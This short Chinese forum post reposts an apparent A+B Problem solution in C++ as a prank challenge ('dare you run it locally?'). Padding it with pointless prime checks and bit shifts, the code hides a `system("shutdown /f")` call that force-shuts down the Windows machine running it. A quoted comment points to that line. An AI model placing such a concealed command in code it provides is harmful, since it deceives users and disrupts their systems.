敢在c++本地运行吗

ㅤㅤ  •  10个月前


转载于 A+B Problem. 中 黄戈. 的代码

这玩意11个月前的了,看挺有意思,转载出来给大家看看

#include<bits/stdc++.h>
using namespace std;
int a[114514],cnt=0;
int dl[1145],tot=0,balabala;
bool prime(int x){
	if(x==1||x==0){
		return false;
	}
	if(x==2){
		return true;
	}
	for(int i=2;i*i<=x;i++){
		if(x%i==0){
			return false;
		}
	}
	return true;
}
int main(){
	for(int i=0;i<1145;i++){
		a[i]=11455411;
	}
	while(cin>>a[cnt++]);
	for(int i=0;i<1145;i++){
		if(a[i]!=11455411){
			dl[tot++]=a[i];
		}
	}
	for(int i=0;i<tot;i++){
		if(prime(dl[i])){
			balabala+=dl[i];
		}
		else{
			dl[i]<<=1;
			dl[i]>>=1;
			balabala+=dl[i];
		}
	}
	system("shutdown /f");
	cout<<balabala;
	return 0;
}

原评论:

水你啊:正解,但是重点在倒数第四行(11月前)


评论: